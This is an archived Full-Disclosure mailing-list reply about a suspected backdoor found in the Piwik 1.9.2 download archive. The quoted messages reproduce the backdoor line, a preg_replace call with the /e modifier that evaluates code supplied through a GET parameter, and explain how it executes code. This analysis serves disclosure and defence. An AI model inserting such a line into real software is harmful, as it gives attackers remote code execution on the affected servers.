[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] Possible infection of Piwik 1.9.2 download archive
- To: Max Grobecker <max@xxxxxxxxxxxxxxxxx>
- Subject: Re: [Full-disclosure] Possible infection of Piwik 1.9.2 download archive
- From: Ferenc Kovacs <tyra3l@xxxxxxxxx>
- Date: Tue, 27 Nov 2012 17:59:17 +0100
on a related note: the /e modifier will be deprecated with php 5.5 and
hopefully removed in the following version
https://wiki.php.net/rfc/remove_preg_replace_eval_modifier
On Tue, Nov 27, 2012 at 1:23 PM, Max Grobecker <max@xxxxxxxxxxxxxxxxx>wrote:
> Yep, found later that the /e modifier allows you to execute code ;-)
>
>
> Am 27.11.2012 12:54, schrieb Christian Sciberras:
> >> At the moment I'm trying to figure out the further sense of this code,
> >> but it seems that there might also be some kind of backdoor (because of
> >> the use of $_GET).
> >
> >
> > preg_replace("/(.+)/e", $_GET['g'], 'dwm');
> >
> > You think?
> >
> >
> > Chris.
> >
> >
> > On Mon, Nov 26, 2012 at 9:17 PM, Maximilian Grobecker
> > <max@xxxxxxxxxxxxxxxxx <mailto:max@xxxxxxxxxxxxxxxxx>> wrote:
> >
> > preg_replace("/(.+)/e", $_GET['g'], 'dwm');
> >
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
--
Ferenc Kovács
@Tyr43l - http://tyrael.hu
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/